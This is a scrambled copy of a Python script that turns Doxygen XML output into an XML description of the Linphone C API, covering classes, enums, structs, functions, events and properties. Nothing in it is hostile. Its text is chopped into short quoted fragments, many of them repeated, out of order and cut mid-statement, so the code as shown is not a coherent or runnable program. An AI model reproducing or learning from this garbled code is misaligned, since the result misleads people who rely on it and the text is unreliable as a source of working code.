enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if", "None def __findCTypedef(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in", "A PARTICULAR PURPOSE. See the # GNU General Public License", "= node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: ev.deprecated = True", "= False self.ctype = 'int' # Default to int so", "import sys import xml.etree.ElementTree as ET import xml.dom.minidom as minidom", "CObject: def __init__(self, name): self.name = name.strip() self.briefDescription = ''", "ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName,", "self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix = '' first = True for", "the implied warranty of # MERCHANTABILITY or FITNESS FOR A", "isStruct = True if s == 'enum': isEnum = True", "self.add(st) for td in self.__typedefs: if td.definition.startswith('struct '): for st", "+ \":\\n\" + missingDocWarning) f = CEvent(name, returnarg, argslist) deprecatedNode", "int so that the result is correct eg. for 'unsigned", "True) for e in self.__events: eventAdded = False for c", "'MSList' or returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n", "return None e = CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", "parameter not documented\\n\"; if missingDocWarning != '': print(name + \":\\n\"", "= ''.join(argNameNode.itertext()) if argType != 'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs))", "def __findCTypedef(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in memberdefs:", "'struct': isStruct = True if s == 'enum': isEnum =", "== self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project: def __init__(self): self.verbose", "in self.events: self.events[ev.name] = ev def addMethod(self, f): if len(f.arguments)", "for n in para.findall(\".//xrefsect\"): para.remove(n) for n in para.findall('.//ref'): n.attrib", "None class CClass(CObject): def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated", "trees = [] for f in xmlfiles: tree = None", "if value.briefDescription != '': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text =", "descriptionNode.tag = 'description' descriptionNode.attrib = {} return descriptionNode def __canBeWrapped(self,", "+ \"' parameter not documented\\n\"; if missingDocWarning != '': print(name", "if argv is None: argv = sys.argv argparser = argparse.ArgumentParser(description=\"Generate", "__len__(self): return len(self.arguments) def __getitem__(self, key): return self.arguments[key] def __str__(self):", "self.arguments: argstr.append(str(arg)) return ', '.join(argstr) class CFunction(CObject): def __init__(self, name,", "ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda c: c.name) for cclass in", "the Linphone API.\") argparser.add_argument('--verbose', help=\"Increase output verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML", "td.name: st = CStruct(td.name) st.associatedTypedef = td cclass = CClass(st)", "has_ref_method = False has_unref_method = False has_destroy_method = False for", "= node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments: for paramdesc", "= st self.events = {} self.classMethods = {} self.instanceMethods =", "argType = argdef[0 : spacePos] argName = argdef[spacePos + 1", "for c in self.classes: if c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]:", "eventnames = [] for eventname in cclass.events: eventnames.append(eventname) eventnames.sort() for", "name)] sm = CStructMember(name, t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", "version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s", "st in self.__structs: if (st.associatedTypedef is None) and td.definition[7:] ==", "= self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f else: pos =", "f.name in self.instanceMethods: self.instanceMethods[f.name] = f def addEvent(self, ev): if", "e.name: e.associatedTypedef = td break elif td.definition.startswith('struct '): structFound =", "{} self.instanceMethods = {} self.properties = {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self):", "if td.definition.startswith('struct '): for st in self.__structs: if st.associatedTypedef ==", "if e.name.startswith(c.name): c.addEvent(e) eventAdded = True break for f in", "== 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_')", "ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv", "file describing the Linphone API.\") argparser.add_argument('--verbose', help=\"Increase output verbosity\", action='store_true')", "propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter is not None:", "elif st.detailedDescription is not None: self.detailedDescription = st.detailedDescription self.__struct =", "not structFound: name = td.definition[7:] print(\"Structure with no associated typedef:", "directory generated by doxygen.\") args = argparser.parse_args() if args.outputfile ==", "self.__functions: for c in self.classes: if c.cFunctionPrefix == f.name[0 :", "project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv = None): if", "'int' # Default to int so that the result is", "arg.containedType is not None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode = ET.SubElement(argumentsNode,", "return self.arguments[key] def __str__(self): argstr = [] for arg in", "'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_') and len(f.arguments) == 2: self.__addPropertySetter(name[4:],", "name) if pos != -1: definition = definition[0 : pos]", "class '\" + c.name + \"' has a setter but", "arg in self.arguments: argstr.append(str(arg)) return ', '.join(argstr) class CFunction(CObject): def", "addEvent(self, ev): if not ev.name in self.events: self.events[ev.name] = ev", ": str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription", "'name' : cenum.name, 'deprecated' : str(cenum.deprecated).lower() } if cenum.associatedTypedef is", "if self.verbose: print(\"Adding typedef \" + elem.name) print(\"\\t\" + elem.definition)", "has_unref_method = True elif methodname_without_prefix == 'destroy': has_destroy_method = True", "self.detailedDescription = None self.deprecated = False self.briefDoc = None class", "CArgument(t, enums = self.enums, structs = self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\")", "cenum, enumsNode): enumNodeAttributes = { 'name' : cenum.name, 'deprecated' :", "initializer = initializer.strip() if not initializer.startswith('='): return None initializer =", "Software Foundation; either version 2 # of the License, or", "= 'note' n.attrib = {} for n in para.findall(\".//xrefsect\"): para.remove(n)", "self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in structmembers: sm =", "def __init__(self, name): CObject.__init__(self, name) self.values = [] self.associatedTypedef =", "not None: s.deprecated = True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc =", "= [] self.__structs = [] self.__typedefs = [] self.__events =", "'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode): #", "tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e) def", "__init__(self, name): CObject.__init__(self, name) self.members = [] self.associatedTypedef = None", "f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType } if f.returnArgument.containedType is not None:", "methodnames = [] for methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for", "f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer): initializer =", "+ name + \"' of class '\" + c.name +", "argparser.add_argument('--verbose', help=\"Increase output verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML pretty print\", action='store_true')", "self.arguments[key] def __str__(self): argstr = [] for arg in self.arguments:", "= CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if initializerNode is not None:", "project.prettyPrint = True project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile) gen.generate(project) if", "= Project() if args.verbose: project.verbose = True if args.pretty: project.prettyPrint", "if len(argslist) > 0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for", "project = Project() if args.verbose: project.verbose = True if args.pretty:", "= node.find('./location') if locationNode is not None: f.location = locationNode.get('file')", "'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0: enumValuesNode", "self.__events.append(elem) elif isinstance(elem, CFunction): if self.verbose: print(\"Adding function \" +", "def addMethod(self, f): if len(f.arguments) > 0 and f.arguments[0].ctype ==", "'description' descriptionNode.attrib = {} return descriptionNode def __canBeWrapped(self, node): return", "any later version. # # This program is distributed in", "self.prettyPrint = False self.enums = [] self.__structs = [] self.__typedefs", "generate(self, project): print(\"Generating XML document of Linphone API to '\"", "st.associatedTypedef.name elif isEnum: for e in enums: if e.associatedTypedef is", "st.associatedTypedef.detailedDescription is not None: self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription is", "self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self, node):", "__init__(self): self.arguments = [] def addArgument(self, arg): self.arguments.append(arg) def __len__(self):", "XML document of Linphone API to '\" + self.__outputfile.name +", "\" \" + self.name class CArgumentsList: def __init__(self): self.arguments =", "= cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project): print(\"Generating XML document of", "e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\") for", "0: eventsNode = ET.SubElement(classNode, 'events') eventnames = [] for eventname", "= True if isStruct: for st in structs: if st.associatedTypedef", "n in para.findall('./parameterlist'): para.remove(n) for n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for", "[] for methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname in", "para.remove(n) for n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n in para.findall(\"./simplesect[@kind='see']\"):", "ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description is not None: argumentNode.append(arg.description) if", "cclass.briefDoc = td.briefDoc self.add(cclass) break elif ('Linphone' + td.definition) ==", "c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer):", "enums = [], structs = []): CObject.__init__(self, name) self.description =", "not None: self.ctype = e.associatedTypedef.name if self.ctype == 'int' and", "= ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode,", "\\ len(cclass.instanceMethods) == 0 and len(cclass.properties) == 0: return #", "if len(argslist) > 0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for", "internal is not None: return None missingDocWarning = '' name", "ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description) argumentsNode", "argNameNode is not None: argName = ''.join(argNameNode.itertext()) if argType !=", "return ev def __parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self, node): return", "elem.name) for ev in elem.values: print(\"\\t\" + ev.name) self.enums.append(elem) elif", "elem.values: print(\"\\t\" + ev.name) self.enums.append(elem) elif isinstance(elem, CStruct): if self.verbose:", "initializerNode is not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "+= \"\\tReturn value is not documented\\n\" definition = definition[pos +", "return e def __findCEnum(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m", "str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription !=", "= True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription =", "it and/or # modify it under the terms of the", "def addMember(self, member): self.members.append(member) class CTypedef(CObject): def __init__(self, name, definition):", "in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList'", "= False has_destroy_method = False for methodname in cclass.instanceMethods: methodname_without_prefix", "as ET import xml.dom.minidom as minidom import metadoc class CObject:", "if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ] self.initFromFiles(files) def check(self): for", "self.returnArgument = returnarg self.arguments = argslist self.location = None class", "CEvent): if self.verbose: print(\"Adding event \" + elem.name) print(\"\\tReturns: \"", "name) self.description = None self.containedType = None keywords = [", "0: self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0: self.briefDescription =", "-1: argType = argdef[0 : spacePos] argName = argdef[spacePos +", "splittedType: if s.startswith('*'): fullySplittedType.append('*') if len(s) > 1: fullySplittedType.append(s[1:]) elif", "!= -1: argType = argdef[0 : starPos + 1] argName", "f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f) else: if not", "deprecatedNode is not None: f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip()", "self.containedType = None keywords = [ 'const', 'struct', 'enum', 'signed',", "elif ('Linphone' + td.definition) == td.name: st = CStruct(td.name) st.associatedTypedef", "more details. # # You should have received a copy", "f): if not name in self.properties: prop = CProperty(name) self.properties[name]", "descriptionNode): for para in descriptionNode.findall('./para'): for n in para.findall('./parameterlist'): para.remove(n)", "('Linphone' + td.definition) == td.name: st = CStruct(td.name) st.associatedTypedef =", "if len(s) > 1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else:", "six import string import sys import xml.etree.ElementTree as ET import", "= CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None:", "c: c.name) for cclass in project.classes: self.__generateClass(cclass, classesNode) s =", "be useful, # but WITHOUT ANY WARRANTY; without even the", "and td.definition[5:] == e.name: e.associatedTypedef = td break elif td.definition.startswith('struct", "def __str__(self): return self.completeType + \" \" + self.name class", "and/or # modify it under the terms of the GNU", "f.endswith('.xml')) ] self.initFromFiles(files) def check(self): for c in self.classes: for", "'refcountable' : str(refcountable).lower(), 'destroyable' : str(destroyable).lower() } # Generate the", "is not None: self.ctype = st.associatedTypedef.name elif isEnum: for e", "definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: td.deprecated", "methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if", "'return', returnValueAttributes) if f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description) argumentsNode =", "name) self.values = [] self.associatedTypedef = None def addValue(self, value):", "True if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription)", "__addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments) ==", "in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod',", "CClass): if self.verbose: print(\"Adding class \" + elem.name) self.classes.append(elem) elif", "is not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", "if arg.description is not None: argumentNode.append(arg.description) if f.briefDescription != '':", "USA. import argparse import os import six import string import", "eventAdded: for c in self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded =", "is not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription != '':", "either version 2 # of the License, or (at your", "tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in memberdefs: f =", "not None: print(\"Property '\" + name + \"' of class", ": cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable' :", "self.properties = {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix = '' first", "'': return None locationNode = node.find('./location') if locationNode is not", "'): structFound = False for st in self.__structs: if (st.associatedTypedef", "import argparse import os import six import string import sys", "fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False", "self.__typedefs = [] self.__events = [] self.__functions = [] self.classes", "name, p in six.iteritems(c.properties): if p.getter is None and p.setter", "== 'MSList' or arg.ctype == 'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if", ": f.returnArgument.completeType } if f.returnArgument.containedType is not None: returnValueAttributes['containedtype'] =", "internal = node.find(\"./detaileddescription/internal\") if internal is not None: return None", "enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def __findCEnum(self, tree):", "paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList' or", "is not None: e.deprecated = True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc", "arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for", "deprecatedNode is not None: ev.deprecated = True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip()", "'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter)", "= metadoc.Parser() def add(self, elem): if isinstance(elem, CClass): if self.verbose:", "def __init__(self, name): CObject.__init__(self, name) self.members = [] self.associatedTypedef =", "= st.associatedTypedef.detailedDescription elif st.detailedDescription is not None: self.detailedDescription = st.detailedDescription", "of the Linphone API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML", "'--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML file describing the Linphone API.\")", "f) elif name.startswith('is_') and len(f.arguments) == 1 and f.returnArgument.ctype ==", "if n is not None: arg.containedType = n.text arg.description =", "not None: argName = ''.join(argNameNode.itertext()) if argType != 'void': argslist.addArgument(CArgument(argType,", "f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == ''", "__str__(self): return self.completeType + \" \" + self.name class CArgumentsList:", "is not None: argumentNode.append(arg.description) if f.briefDescription != '': functionBriefDescriptionNode =", "name.strip() self.briefDescription = '' self.detailedDescription = None self.deprecated = False", "self.name = name.strip() self.briefDescription = '' self.detailedDescription = None self.deprecated", "= True elif methodname_without_prefix == 'destroy': has_destroy_method = True refcountable", "is not None: self.ctype = e.associatedTypedef.name if self.ctype == 'int'", "''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\")", "False self.enums = [] self.__structs = [] self.__typedefs = []", "eventnames.append(eventname) eventnames.sort() for eventname in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if", "open('api.xml', 'w') project = Project() if args.verbose: project.verbose = True", "in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ] self.initFromFiles(files) def", "argparser = argparse.ArgumentParser(description=\"Generate XML version of the Linphone API.\") argparser.add_argument('-o',", "1] argName = argdef[starPos + 1 :] elif spacePos !=", "self.ctype = e.associatedTypedef.name if self.ctype == 'int' and 'int' not", "self.__functions = [] self.classes = [] self.docparser = metadoc.Parser() def", "def __init__(self, name): CObject.__init__(self, name) self.value = None class CEnum(CObject):", "xml.dom.minidom as minidom import metadoc class CObject: def __init__(self, name):", "'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if n is not None: arg.containedType", "except ET.ParseError as e: print(e) if tree is not None:", "'description' if descriptionNode.tag == 'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib =", "False for c in self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e)", "== '' and ''.join(f.detailedDescription.itertext()).strip() == '': return None locationNode =", "trees.append(tree) for tree in trees: self.__findCEnum(tree) for tree in trees:", "tree in trees: self.__findCStruct(tree) for tree in trees: self.__findCTypedef(tree) for", "License # along with this program; if not, write to", "break elif ('Linphone' + td.definition) == td.name: st = CStruct(td.name)", "in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning", "def __init__(self): self.arguments = [] def addArgument(self, arg): self.arguments.append(arg) def", "len(cclass.instanceMethods) > 0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames = []", "as minidom import metadoc class CObject: def __init__(self, name): self.name", "ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes = { 'type' : f.returnArgument.ctype, 'completetype'", "td.definition.startswith('struct '): structFound = False for st in self.__structs: if", "has_destroy_method = True refcountable = False destroyable = False if", "not Project.__canBeWrapped(self, node): return None e = CEnum(node.find('./name').text) deprecatedNode =", "__parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", "typedef \" + elem.name) print(\"\\t\" + elem.definition) self.__typedefs.append(elem) elif isinstance(elem,", "CFunction(CObject): def __init__(self, name, returnarg, argslist): CObject.__init__(self, name) self.returnArgument =", "1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_') and", "in trees: self.__findCTypedef(tree) for tree in trees: self.__findCFunction(tree) self.__discoverClasses() def", "= False destroyable = False if has_ref_method and has_unref_method: refcountable", "None): if argv is None: argv = sys.argv argparser =", "= minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv = None): if argv is", "f) elif name.startswith('set_') and len(f.arguments) == 2: self.__addPropertySetter(name[4:], f) elif", "td: cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass) break elif", "{} for n in para.findall(\".//xrefsect\"): para.remove(n) for n in para.findall('.//ref'):", "f.location is not None: functionAttributes['location'] = f.location functionNode = ET.SubElement(parentNode,", "elif methodname_without_prefix == 'destroy': has_destroy_method = True refcountable = False", "st.briefDescription if st.associatedTypedef.detailedDescription is not None: self.detailedDescription = st.associatedTypedef.detailedDescription elif", "locationNode = node.find('./location') if locationNode is not None: f.location =", "{ 'name' : f.name, 'deprecated' : str(f.deprecated).lower() } if f.location", "= ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers =", "\" + str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction): if self.verbose: print(\"Adding", "f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription", "name): self.name = name.strip() self.briefDescription = '' self.detailedDescription = None", "= ''.join(n.itertext()) n.clear() n.tag = 'see' n.text = t for", "self.instanceMethods[f.name] = f def addEvent(self, ev): if not ev.name in", "in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod',", "self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].setter = f", "in self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded = True break for", "returnValueAttributes = { 'type' : f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType }", "XML node for the class classNode = ET.SubElement(classesNode, 'class', classNodeAttributes)", "True for l in self.name: if l.isupper() and not first:", "self.__structs: if st.associatedTypedef == td: cclass = CClass(st) cclass.briefDoc =", "= prop self.properties[name].getter = f def __addPropertySetter(self, name, f): if", "main(argv = None): if argv is None: argv = sys.argv", "td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td return None", "f = self.__parseCFunctionMemberdef(m) if f is not None: self.add(f) def", "False self.prettyPrint = False self.enums = [] self.__structs = []", "0 and len(cclass.properties) == 0: return # Check the capabilities", "m in memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node,", "if s == 'enum': isEnum = True if isStruct: for", "# Do not include classes that contain nothing if len(cclass.events)", "in argslist.arguments: for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text:", "f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project: def __init__(self):", "+ \":\\n\" + missingDocWarning) return f def __findCFunction(self, tree): memberdefs", "= methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix == 'ref': has_ref_method = True", "True elif methodname_without_prefix == 'destroy': has_destroy_method = True refcountable =", "classNode.append(cclass.detailedDescription) def generate(self, project): print(\"Generating XML document of Linphone API", "methods are put in the right class self.classes.sort(key = lambda", "fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED'", "None: self.ctype = e.associatedTypedef.name if self.ctype == 'int' and 'int'", "self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: ev.deprecated", "returnValueAttributes) if f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode,", "elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction): if", "1 : -1] argslist = CArgumentsList() for argdef in definition.split(',", "in trees: self.__findCEnum(tree) for tree in trees: self.__findCStruct(tree) for tree", "getter\") class Generator: def __init__(self, outputfile): self.__outputfile = outputfile def", "tree in trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir): files =", "(longest first), so that methods are put in the right", "= t.strip() class CStruct(CObject): def __init__(self, name): CObject.__init__(self, name) self.members", "class CEnumValue(CObject): def __init__(self, name): CObject.__init__(self, name) self.value = None", "in elem.values: print(\"\\t\" + ev.name) self.enums.append(elem) elif isinstance(elem, CStruct): if", "s.deprecated = True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription", "') for s in splittedType: if s.startswith('*'): fullySplittedType.append('*') if len(s)", "self.verbose = False self.prettyPrint = False self.enums = [] self.__structs", "True break if not eventAdded: for c in self.classes: if", "elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for", "'': print(name + \":\\n\" + missingDocWarning) f = CEvent(name, returnarg,", "self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription is not None: self.detailedDescription =", "if deprecatedNode is not None: e.deprecated = True e.briefDescription =", "f.location + \"')\\n\"; if missingDocWarning != '': print(name + \":\\n\"", "argName = ''.join(argNameNode.itertext()) if argType != 'void': argslist.addArgument(CArgument(argType, argName, self.enums,", "# Check the capabilities of the class has_ref_method = False", "the class classNode = ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events) >", "keywords: self.ctype = s if s == 'struct': isStruct =", "'deprecated' : str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if", "argslist): CObject.__init__(self, name) self.returnArgument = returnarg self.arguments = argslist self.location", "import xml.etree.ElementTree as ET import xml.dom.minidom as minidom import metadoc", "n in para.findall(\".//xrefsect\"): para.remove(n) for n in para.findall('.//ref'): n.attrib =", "if c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self,", "self.events[ev.name] = ev def addMethod(self, f): if len(f.arguments) > 0", "memberdefs: f = self.__parseCFunctionMemberdef(m) if f is not None: self.add(f)", "trees: self.__findCTypedef(tree) for tree in trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self,", "ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription != '': valueBriefDescriptionNode = ET.SubElement(valueNode,", "def main(argv = None): if argv is None: argv =", "node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: ev.deprecated = True ev.briefDescription", "no associated typedef: \" + name) st = CStruct(name) st.associatedTypedef", "self.__findCEnum(tree) for tree in trees: self.__findCStruct(tree) for tree in trees:", "node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in structmembers: sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm)", "deprecatedNode is not None: e.deprecated = True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip()", "not None: self.detailedDescription = st.detailedDescription self.__struct = st self.events =", "not None: f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc =", "> 0: self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0: self.briefDescription", "def __len__(self): return len(self.arguments) def __getitem__(self, key): return self.arguments[key] def", "arg.description == None: missingDocWarning += \"\\t'\" + arg.name + \"'", "if isinstance(elem, CClass): if self.verbose: print(\"Adding class \" + elem.name)", "= 